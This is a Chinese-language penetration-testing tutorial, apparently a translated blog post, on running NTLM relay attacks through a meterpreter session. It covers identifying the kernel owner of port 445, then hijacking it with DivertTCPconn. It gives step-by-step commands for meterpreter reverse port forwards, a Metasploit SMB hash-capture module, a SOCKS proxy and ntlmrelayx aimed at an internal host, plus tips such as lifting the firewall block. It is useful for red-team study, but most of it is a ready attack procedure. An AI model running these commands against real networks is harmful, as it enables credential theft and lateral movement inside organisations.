在meterpreter中進行NTLM中繼攻擊
劫持埠445以執行中繼攻擊或雜湊捕獲攻擊一直是一個反覆出現的話題。當你使用meterpreter感染目標時,如何在埠445上偵聽?幾個星期前,這個話題再次浮出水面,而這是一個已經解決的問題,並且擁有隨時可用的工具,但很多人都不知道該解決方案。
接下來我們將解釋如何利用這些工具來對你具有meterpreter會話的目標執行中繼攻擊。這種方法的另一個好處是,你不需要python2exe或感染主機上的整個python堆疊,只需一個簡單的驅動程式和一個meterpreter感染就可以了。
本文的第一部分將重點介紹能夠劫持445埠的思維過程,第二部分將重點關注使其可用於中繼攻擊。如果你想跳過思考過程和中繼設定,你還可以直接跳到已有的解決方案:
https://github.com/Arno0x/DivertTCPconn
本文分為以下幾個部分:
·誰是445埠的所有者?
·劫持和重定向埠445
·通過meterpreter完成SMB繼電器設定
請注意,我們在撰寫此文章時採用了簡單的方法,並將所有檔案放在磁碟上。如果你想避免這種情況,我們建議你使用ram磁碟解決方案或擴充套件當前的meterpreter記憶體執行功能以支援類似的內容。
此外,你很可能需要靜態的重新編譯解決方案的原始碼,以確保你不需要其他DDL檔案,或者你必須捆綁這些DLL檔案。
誰是445埠的所有者?
首先,哪些服務或流程負責監聽埠445?在研究這些型別的問題時,我的第一步是執行一些案例搜尋研究,以確定是否有其他人已經分享了答案,然後在我的系統Win10 x64上手動驗證或複製它。所以我決定谷歌一下:
msdn程序監聽埠445
結果如下:
https://msdn.microsoft.com/en-us/library/cc875824.aspx https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows
基於這些頁面中提到的服務,我執行了幾個測試,並且我停止和禁用的第一個服務之一,以確定它是否負責埠,是伺服器服務。由於這並沒有立即產生結果,我也重新啟動了這個技巧。這當然不是我們問題的真正解決方案,因為理想情況下我們不希望重新啟動受感染的目標。
如果我們深入挖掘並檢視服務的屬性,我們將看到啟動服務的命令是:
C:\ WINDOWS \ system32 \ svchost.exe -k netsvcs -p
瞭解svchost.exe命令列引數的一個很好的資源是他的網站Geoff Chappell:
https://www.geoffchappell.com/studies/windows/win32/services/svchost/index.htm
如果我們導航到提到的登錄檔項:
HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Svchost
我們會發現很多捆綁的服務,但並沒有完全回答我們的問題。我們如何使用不同的方法?像往常一樣,我們忽略了簡單的選項,比如只檢查服務的屬性,並發現'Dependencies'選項卡列出了srvnet服務,當你查詢它時指向一個驅動程式。
如果我們也通過谷歌深入瞭解永恆之藍漏洞,我們就會發現以下內容將漏洞分析和埠寫入Windows 10,其中指出(釋義):'大部分SMB協議都存在於srv.sys驅動程式中'稍後說這個驅動程式與'srvnet.sys驅動程式'緊密配合。最後,為了更正式的確認,我們還找到以下網址:
https://docs.microsoft.com/en-us/windows-hardware/drivers/network/network-direct-kernel-programming-interface-ndkpi-
第一段幾乎總結並確認了我們一直懷疑的東西,負責處理埠445上的連線的程式碼存在於核心中。在某種程度上這是壞訊息,因為我們不能簡單的劫持套接字。然後我們可能需要學習新的東西,從而知道我們必須在哪個方向尋找解決方案。
劫持和重定向埠445
現在我們已經確定埠445的所有者存在於核心中。我們可以開始考慮我們的戰略了。跳到腦海的第一件事是使用iptables來劫持傳入或傳出連線的Linux概念,因為它在網路堆疊中是以非常低的級別執行的。為了看看我們是否可以在Windows上使用這個概念,我們可以看一下Windows防火牆的內部工作原理,這裡有很好的文件:
Windows防火牆架構
https://technet.microsoft.com/pt-pt/library/cc755604(v=ws.10).aspx
Windows過濾平臺概述
https://docs.microsoft.com/en-us/windows-hardware/drivers/network/windows-filtering-platform-architecture-overview
從某種意義上說,Windows支援Windows過濾平臺名下的相同概念。這是個好訊息,因為它意味著它是可能的,然而壞訊息似乎是你需要為此建立一個驅動程式。也許你認為netsh埠重定向技巧可行,但事實並非如此。不幸的是,我還沒有深入瞭解細節,這可能讓我在未來變的很忙。
但是我們這樣偷懶是對的嗎?建立驅動程式聽起來也許並不是最理想的解決方案。諷刺的是,如果你使用正確的關鍵字(如wfp port connection)進行搜尋,你實際上會發現這個解決方案已經由作者(@agsolino)自己解決了。你還可以將windivert框架本身作為結果中的某個部分。如果你繼續搜尋更多,你會發現在這個條目的開頭連結的解決方案,這是一個易於使用的應用程式來重定向傳入的連線。現在讓我們看看如何使用它來通過meterpreter重定向受感染系統上埠445上的傳入連線。下圖顯示了我們對新發現方案的使用流程:
我們上面看到的是我們有一個感染了meterpreter的宿主。從這個測量儀我們將設定一個反向埠從受感染的主機前進到我們的metasploit例項,該例項接收常規4444埠上的常規meterpreter連線。meterpreter上的遠端偵聽埠(8445)將接收在埠445上傳入的連線,從而劫持到埠445的傳入連線並將它們通過連線朝向metasploit。而我們這樣做並捕獲一些憑據只是為了看到劫持Windows 445埠實際上是有效的:
設定一個有效的管理儀表會話
設定SMB捕獲伺服器
a. use auxiliary/scanner/smb/smb_login b. set SRVPORT 9445 c. run -j
使用meterpreter設定反向埠
a. portfwd add -R -L 127.0.0.1 -l 9445 -p 8445
設定埠445劫持
a. divertTCPConn.exe 445 8445
當受害者主機現在連線到受感染主機上的埠445時,你將在metasploit控制檯中收到雜湊值,如下面的螢幕截圖所示:
對於下一部分,Dirk-jan將引導我們將上述內容擴充套件為通過受感染主機進行的全面工作的遠端NTLM中繼攻擊。
通過meterpreter完成SMB中繼器設定
對於最終設定,我們將在Ubuntu系統上使用ntlmrelayx,它將轉發到受害者網路內的系統。這涉及通過meterpreter向後和向前轉發流量。反向連線是為了確保當目標網路中的主機連線到我們的受感染主機時,這樣就會到達ntlmrelayx,然後ntlmrelayx可以將其中繼回目標網路。返回目標網路的連線包括SOCKS代理。下圖說明了此攻擊:
第一步與前一段類似,這將設定我們的反向隧道:
設定一個有效的管理儀表會話
使用meterpreter設定反向埠
a. portfwd add -R -p 4445 -l 445 -L 127.0.0.1
通過meterpreter設定埠445劫持
a. execute -f divertTCPconn.exe -a '445 4445'
要設定前向隧道,我們新增一個路由以通過我們的meterpreter會話(在本例中為會話3)重定向流量並設定SOCKS代理:
通過我們的meterpreter新增路由,在這種情況下,我們具體指定目標IP:
a. route add 192.168.222.103/32 3
設定SOCKS代理
a. use auxiliary/server/socks4a b. run c. Make sure the SOCKS port (default 1080) is specified in /etc/proxychains.conf
通過SOCKS執行ntlmrelayx:
a. sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support
現在我們應該就可以全部通過我們的隧道進行中繼了。你可以使用例如Inveigh或你自己喜歡的獲取流量的方法來發起欺騙攻擊。
一旦有傳入連線,ntlmrelayx將通過SOCKS隧道路由回我們的受害者網路並開始它的表演:
最後要記住的一些事情:
*設定反向轉發時,Windows防火牆將預設阻止它。 請務必提前刪除此阻止或白名單。
*在轉發時,你仍需要記住SMB簽名等緩解措施。
*對於中繼HTTP流量(WPAD身份驗證),你需要做的就是從埠80向本地ntlmrelayx新增另一個反向轉發(除非安裝了Web伺服器,預設情況下Windows上沒有使用埠80,因此這裡不需要高階重定向)。